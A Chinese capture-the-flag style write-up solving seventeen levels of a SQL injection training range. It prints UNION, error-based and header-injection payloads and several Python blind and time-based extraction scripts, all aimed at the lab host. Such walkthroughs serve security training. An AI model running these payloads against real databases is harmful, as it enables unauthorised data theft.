掌控安全学院SOL注入靶场

news2025/7/28 0:42:31

掌控安全学院SOL注入靶场

  • 靶场地址
  • Pass-01 显错注入
  • Pass-02
  • Pass-03
  • Pass-04
  • Pass-05 POST注入
  • Pass-06
  • Pass-07 Head注入
  • Pass-08
  • Pass-09
  • Pass-10 布尔盲注
  • Pass-11
  • Pass-12
  • Pass-13 延时注入
  • Pass-14
  • Pass-15 宽字节注入
  • Pass-16
  • Pass-17
  • 总结

靶场地址

http://inject2.lab.aqlab.cn

Pass-01 显错注入

判断注入类型发现是数字型注入

1 or 1=1 #
1' or '1'='1 #
1" or "1"="1 #

利用order by得到数据库有三列
?id=0 union select 1,2,3#得到回显位23
在这里插入图片描述

查库名
可以通过information_schema库或者直接select database()

?id=0 union select 1,(select group_concat(schema_name) from information_schema.schemata),(select database())#

在这里插入图片描述查表名

?id=0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='error'),3#

在这里插入图片描述

查列名

?id=0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='error'),(select group_concat(column_name) from information_schema.columns where table_name='error_flag')#

在这里插入图片描述可以看到有flag列,直接输出

?id=0 union select 1,(select group_concat(flag) from error.error_flag),3#

在这里插入图片描述

Pass-02

测试得题目为单引号字符型注入
这里#注释会报错,转用--+

?id=0' union select 1,2,3 --+

在这里插入图片描述

爆库

?id=0' union select 1,(select database()),3--+

在这里插入图片描述
后面和Pass-01一样
直接得到flag

?id=0' union select 1,(select group_concat(flag) from error.error_flag),3--+

在这里插入图片描述

Pass-03

查看语句得知需要')闭合前面的('

?id=0') union select 1,2,3--+

在这里插入图片描述
剩下同理,没有过滤

Pass-04

双引号即可

?id=0") union select 1,2,3--+

在这里插入图片描述

Pass-05 POST注入

GET换POST

username=1' union select 1,2,3#&password=1&submi=%E7%99%BB%E5%BD%95

在这里插入图片描述套用payload即可

username=1' union select 1,(select group_concat(flag) from error.error_flag),3#&password=1&submi=%E7%99%BB%E5%BD%95

在这里插入图片描述

Pass-06

同Pass-04

username=0") union select 1,2,3#&password=1&submi=%E7%99%BB%E5%BD%95

在这里插入图片描述

Pass-07 Head注入

提示Head注入,照常先测试一下payload
在这里插入图片描述
好!弱口令(好像串台了)
在这里插入图片描述

既然提示了就先简单测一下hackbar能改的head信息
改UA头的时候发现报错了
在这里插入图片描述保持账号密码不变,只更改UA头1' or updatexml(1,concat('?',database()),1),1) #
成功将库名爆出
在这里插入图片描述将database()换成查询语句爆库名
' or updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='head_error'),'~'),1),1) #
在这里插入图片描述
列名
' or updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='flag_head'),'~'),1),1) #
在这里插入图片描述
得到flag
' or updatexml(1,concat('~',(select group_concat(flag_h1) from head_error.flag_head),'~'),1),1) #
在这里插入图片描述

Pass-08

账号密码还是admin/123456
测试发现是Refer头注入,过程和Pass-07一样
' or updatexml(1,concat('~',(select group_concat(flag_h1) from head_error.flag_head),'~'),1),1) #
在这里插入图片描述

Pass-09

这个Hackbar测不出来了,上Bp!
测了一圈没反应,加上最熟悉的XFF头,flag就出来了
注入过程还是参考Pass-07
X-Forwarded-For:' or updatexml(1,concat('~',(select group_concat(flag_h1) from head_error.flag_head),'~'),1),1) #

在这里插入图片描述

Pass-10 布尔盲注

没啥过滤的盲注
直接手搓脚本
二分法+异或(不异或也没啥问题)

import requests
url = "http://inject2.lab.aqlab.cn/Pass-10/index.php?id="
flag=''
for i in range(1,100):
    low = 32
    high = 126
    mid = (low+high)//2
    while(low<high):
        #payload=url+"0^(ascii(substr((select database()),{},1))>{})".format(i,mid)	#爆库名
        #payload = url+"0^(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{})".format(i,mid)	#爆表名
	    #payload = url+"0^(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='loflag' ),{},1))>{})".format(i,mid)	#爆列名
        payload = url+"0^(ascii(substr((select group_concat(flaglo) from kanwolongxia.loflag),{},1))>{})".format(i,mid)	#爆flag
        res = requests.get(payload)
        if 'No results found' not in res.text:
            low = mid + 1
        else:
            high = mid
        mid = (low+high)//2

    if (mid==32|mid==126):
        break
    
    flag +=chr(mid)
    print(flag)
print(flag)

库名
在这里插入图片描述
表名
在这里插入图片描述
列名
在这里插入图片描述
获得数据
在这里插入图片描述
在这里插入图片描述
好像有点小禁爬,拼起来就是最终flag了

哈哈,flag跑完了,ip好像被封了(

Pass-11

多一个双引号,小问题

import requests
url = "http://inject2.lab.aqlab.cn/Pass-11/index.php?id=1\" and 1="
flag=''
for i in range(1,100):
    low = 32
    high = 126
    mid = (low+high)//2
    while(low<high):
        #payload=url+"0^(ascii(substr((select database()),{},1))>{})--+".format(i,mid)
        #payload = url+"0^(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{})--+".format(i,mid)   #爆表名
        #payload = url+"0^(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='loflag' ),{},1))>{})--+".format(i,mid) #爆列名
        payload = url+"0^(ascii(substr((select group_concat(flaglo) from kanwolongxia.loflag),{},1))>{})--+".format(i,mid)
        res = requests.get(payload)
        #print(payload)
        if 'No results found' not in res.text:
            low = mid + 1
        else:
            high = mid
        mid = (low+high)//2

    if (mid==32|mid==126):
        break
    
    flag +=chr(mid)
    print(flag)
print(flag)

点到为止
在这里插入图片描述

Pass-12

万能密码登录成功,可以作为盲注的判断依据
在这里插入图片描述
稍微调试一下语句,再把请求方式改为POST

import requests
url = "http://inject2.lab.aqlab.cn/Pass-12/index.php"
flag=''
data={'username':'1','password':'1','submit':'%E7%99%BB%E5%BD%95'}
for i in range(1,100):
    low = 32
    high = 126
    mid = (low+high)//2
    while(low<high):
        #payload="1\' or 1=0^(ascii(substr((select database()),{},1))>{})#".format(i,mid)
        #payload="1\' or 1=0^(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{})#".format(i,mid)   #爆表名
        #payload="1\' or 1=0^(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='loflag' ),{},1))>{})#".format(i,mid) #爆列名
        payload="1\' or 1=0^(ascii(substr((select group_concat(flaglo) from kanwolongxia.loflag),{},1))>{})#".format(i,mid)
        data['username']=payload
        res = requests.post(url,data=data)
        #print(data)
        if '账号密码错误' not in res.text:
            low = mid + 1
        else:
            high = mid
        mid = (low+high)//2

    if (mid==32|mid==126):
        break
    
    flag +=chr(mid)
    print(flag)
print(flag)

还是同一个库,润!
在这里插入图片描述

Pass-13 延时注入

延时注入,先测试注入点
?id=1" and sleep(5)--+
在这里插入图片描述小爆一下库
?id=1" and if((ascii(substr((database()),1,1))>0),sleep(3),sleep(0))--+
在这里插入图片描述然后拿出上面的盲注脚本
在这里插入图片描述
在这里插入图片描述
和布尔盲注一个库
在这里插入图片描述
放个脚本

import requests
url = "http://inject2.lab.aqlab.cn/Pass-13/index.php?id=1\" and "
flag=''
for i in range(1,100):
    low = 32
    high = 126
    mid = (low+high)//2
    while(low<high):
        #payload=url+"if((ascii(substr((database()),{},1))>{}),sleep(1),sleep(0))--+".format(i,mid)	#爆库名
        #payload = url+"if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}),sleep(1),sleep(0))--+".format(i,mid)	#爆表名
        #payload = url+"if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='loflag' ),{},1))>{}),sleep(1),sleep(0))--+".format(i,mid)	#爆列名
        payload = url+"if((ascii(substr((select group_concat(flaglo) from kanwolongxia.loflag),{},1))>{}),sleep(1),sleep(0))--+".format(i,mid)	#爆flag
        #print(payload)
        res = requests.get(payload).elapsed.total_seconds()
        if res>1:
            low = mid + 1
        else:
            high = mid
        mid = (low+high)//2

    if (mid==32|mid==126):
        break
    
    flag +=chr(mid)
    print(flag)
print(flag)

Pass-14

同上
更改url即可

url = "http://inject2.lab.aqlab.cn/Pass-14/index.php?id=1') and "

Pass-15 宽字节注入

宽字节注入,来个经典%df
?id=1%df' or 1=1--+
在这里插入图片描述

看看库?id=1%df' union select 1,database(),3--+
在这里插入图片描述

表名
?id=1%df' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
在这里插入图片描述因为单引号被转义了,所以查表的时候库名不能用'china_flag',可以用十六进制代替
?id=1%df' union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_name=0x6368696e615f666c6167)--+
在这里插入图片描述获取数据
?id=1%df' union select 1,database(),(select group_concat(C_Flag) from widechar.china_flag)--+
在这里插入图片描述

Pass-16

id=(“1”)得到闭合方式为%df")
?id=1%df") union select 1,database(),(select group_concat(C_Flag) from widechar.china_flag)--+
在这里插入图片描述

Pass-17

POST型宽字节注入
hackbar发包已经满足不了%df了,发送后会变成ß
需要通过奇数个汉字学')或者Burpsuite直接发包%df')
在这里插入图片描述

bp虽然乱码但是颜色对了)
在这里插入图片描述

python测试的%df')无效,就用汉字测了

import requests
url = "http://inject2.lab.aqlab.cn/Pass-17/index.php"
flag=''
data={'username':'admin%df\'\) or 1=1#','password':'1','submit':'%E7%99%BB%E5%BD%95'}
for i in range(1,100):
    low = 32
    high = 126
    mid = (low+high)//2
    while(low<high):
        #payload="a%df\') or 1=0^(ascii(substr((select database()),{},1))>{})#".format(i,mid)
        #payload="学\') or 1=0^(ascii(substr((select database()),{},1))>{})#".format(i,mid)
        #payload="学\') or 1=0^(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{})#".format(i,mid)   #爆表名
        #payload="学\') or 1=0^(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='china_flag' ),{},1))>{})#".format(i,mid) #爆列名
        payload="学\') or 1=0^(ascii(substr((select group_concat(C_Flag) from widechar.china_flag),{},1))>{})#".format(i,mid)
        data['username']=payload
        res = requests.post(url,data=data)
        #print(data)
        #print(res.text)
        if '账号密码错误' not in res.text:
            low = mid + 1
        else:
            high = mid
        mid = (low+high)//2

    if (mid==32|mid==126):
        break
    
    flag +=chr(mid)
    print(flag)
print(flag)

在这里插入图片描述

总结

完结撒花哩
总体没啥难度,也没有啥过滤,拿来复健感觉还不错,最后一个宽字节注入又花了点时间研究了一下
好!
就这样

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/16520.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[Python] Django ORM与执行原生SQL实现操作数据库

前言 系列文章目录 [Python]目录 文章目录前言&#x1f349; ORM&#x1f349; shell&#x1f349; 模型类与数据的准备&#x1f352; 模型类&#x1f352; 数据&#x1f349; 查询数据&#x1f352; 查询集&#x1f353; 查询集的特性&#x1f34e; 惰性执行&#x1f34e; 缓存…

PDF文件如何设置密码保护?

接近年底&#xff0c;各种总结报告越来越多&#xff0c;很多时候我们都会将报告做成PDF文件格式&#xff0c;对于重要的内容&#xff0c;往往还需要设置密码保护。 根据不同的需要&#xff0c;可以给PDF文件设置两种保护模式。 如果文件内容只分享给特定的人看&#xff0c;不…

qt调用python脚本中的函数

开发环境&#xff1a; qt 5.9.9 vs2015 python 3.6 例程下载&#xff1a; qt调用python脚本例程.rar 步骤一&#xff1a;创建python脚本文件 创建文本文件myPythonFile.py&#xff0c;内容如下&#xff1a; 步骤二&#xff1a;创建qt widget测试例程并运行 新建qt wi…

请不要忽略软件测试的业务能力

在日常的测试工作中&#xff0c;不知道大家是否会有梳理自己测试业务的习惯。我个人觉得这个事情是值得做的&#xff0c;最好还可以培养成一个习惯。一、为什么要梳理业务&#xff1f;因为在业务测试中&#xff0c;作为测试人员&#xff0c;熟悉负责的业务是非常重要的&#xf…

ats 6.2.3中diags.log日志滚存遇到的assert崩溃问题并解决

现在线上ats 6.2.3现在都开启了diags.log日志回滚的功能&#xff0c;采用下面的配置方法 CONFIG proxy.config.diags.logfile.rolling_enabled INT 3 CONFIG proxy.config.diags.logfile.rolling_interval_sec INT 86400 CONFIG proxy.config.diags.logfile.rolling_size_mb…

Web前端——立体相册的制作

文章目录笔记&#xff1a;CSS的特殊样式作业&#xff1a;用CSS的特殊样式制作立体相册笔记&#xff1a;CSS的特殊样式 media查询 常⽤于响应式布局&#xff0c;是⽬前使⽤最多的适配⻚⾯的技术。他会根据⻚⾯的尺⼨的不同&#xff0c;⽽是⽤不同的样式。 <style>media…

LeetCode50天刷题计划第二季(Day 31 — 两数之和 II - 输入有序数组(11.10-11.20)分数到小数(11.30-12.30)

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录前言一、题目两数之和 II - 输入有序数组示例提示二、思路三、代码四、题目分数到小数示例提示五、思路六、代码前言 没看出来跟 两数之和 I 有什么区别 一、题目 …

码农死磕这份Java高级开发文档,成功‘挤‘进一线大厂,这也太强了吧

前言 很多程序员一开始在学习上找不到方向&#xff0c;但我想在渡过了一段时间的新手期之后这类问题大多都会变得不再那么明显&#xff0c;工作的方向也会逐渐变得清晰起来。 但是没过多久&#xff0c;能了解到的资料就开始超过每天学习的能力&#xff0c;像是买了没看的书、…

内网渗透神器CobaltStrike之重定向服务配置(二)

重定向服务的概念 "重定向"是一个在CS服务器与目标主机进行网络传输之间的服务器, 不仅能保护CS服务器, 还能增强与目标网络传输的稳定性, 例如某一台重定向服务器倒塌了, 但是CS服务器还是能通过其他重定向服务器与目标网络进行信息传输 环境拓扑 域名: team.comD…

ELSEVIER期刊论文投稿全流程实例讲解

Elsevier期刊模板下载 从ELSEVIER搜索要投的期刊&#xff0c;进入期刊主页 https://www.elsevier.com/search-results?queryFuel

【附源码】Python计算机毕业设计体育场馆预定网站

项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等等。 环境需要 1.运行环境&#xff1a;最好是python3.7.7&#xff0c;我…

基于随机森林算法完成鸢尾花卉品种预测任务 代码+数据

1.理论部分 随机森林(Random Forest),顾名思义,就是由很多决策树模型融合在一起的算法。 随机森林是一种运用了集成学习(ensemble learning)的决策树分类器。 随机森林是一种基于Bagging框架的模型融合算法,如图1.2所示。它通过多个基础的决策树模型进行训练,如何通过…

Android App事件交互中区分点击和长按动作以及识别手势滑动方向的讲解及实战(附源码 可直接使用)

运行有问题或需要源码请点赞关注收藏后评论区留言~~~ 一、区分点击和长按动作 区分点击和长按动作&#xff0c;只要看按压时长是否超过500毫秒即可&#xff0c;没超过的表示点击动作&#xff0c;超过了的表示长按动作。其实除了按压时长之外&#xff0c;按压力度也是一个重要的…

Isaac-gym(5):关于强化学习

官方链接&#xff1a; https://github.com/NVIDIA-Omniverse/IsaacGymEnvs 1、环境建立示例 import isaacgym import isaacgymenvs import torchenvs isaacgymenvs.make(seed0, task"Ant", #对应执行时用到的名称num_envs2000, sim_device"cuda:0"…

智芯传感-工业雷管禁售在即,电子雷管的大发展已然到来!

在我国重点支持发展的基础设施建设领域中&#xff0c;民爆行业是一个相对小众、但是非常重要的行业。在“十四五”规划中&#xff0c;国家大力推进电子雷管替代工业雷管&#xff0c;持续加强激励与引导&#xff0c;推进生产工艺及装备向安全可靠、绿色环保、智能制造方向发展&a…

Makefile 基础(二)—— Makefile 自动推导+ Makefile伪目标

目录 1、Makefile 自动推导&#xff08;隐含规则&#xff09; (1) 依赖项都在当前目录下 (2) 一部分依赖项不在当前目录下 2、Makefile 伪目标 1、Makefile 自动推导&#xff08;隐含规则&#xff09; 所谓隐含规则指的是&#xff0c;我们在Makefile文件中不使用 gcc/g 命…

openTCS 5.2 学习记录一(避坑)

openTCS5.2 学习记录一 初学者记录 一、学习背景 最近领导安排学习AGV相关调度方面的东西&#xff0c;我司使用的是openTCS来做AGV调度管理。本文主要记录最简单的启动&#xff0c;并且记录使用过程中的各个坑。 二、参考资料 openTCS官网 https://www.opentcs.org/en/ind…

玩机搞机-----安卓全机型刷机卡fastboot模式解决方法与故障解析

今天给友友们讨论下手机刷机后进不去系统卡fastboot模式一些问题解决方法和造成的原因故障解析。一般这类操作是由于以下几种原因导致的。包括但不限于以下其中之一 这种故障排除硬件原因除外哦 1-----刷第三方系统导致的重启卡fastboot模式 2-----降级更新官方固件跨版本幅…

Level1行情和l2行情数据api接口在逐笔成交记录上有什么区别?

除了买卖盘口显示的行情数据不同&#xff0c;Level-1行情和l2行情数据api接口第二个主要的区别是Level-1行情只有分时成交记录而l2行情数据api接口同时还提供逐笔成交记录。 也就是说Level-1行情是不提供具体的每笔交易明细的。但是l2行情数据api接口它记录了实时交易中每一笔…

第二章:Spring核心思想和IOC和AOP依赖注入

Spring 中IOC 如何理解&#xff1f; 中文控制反转&#xff0c;如何控制反转&#xff1f; 是一种思想&#xff0c;交给Spring容器来管理的一种思想&#xff0c;具体扫描注解&#xff0c;实现注入容器内。 平时使用某个类调用某个类的内的方法&#xff0c;需要先创建类的对象&a…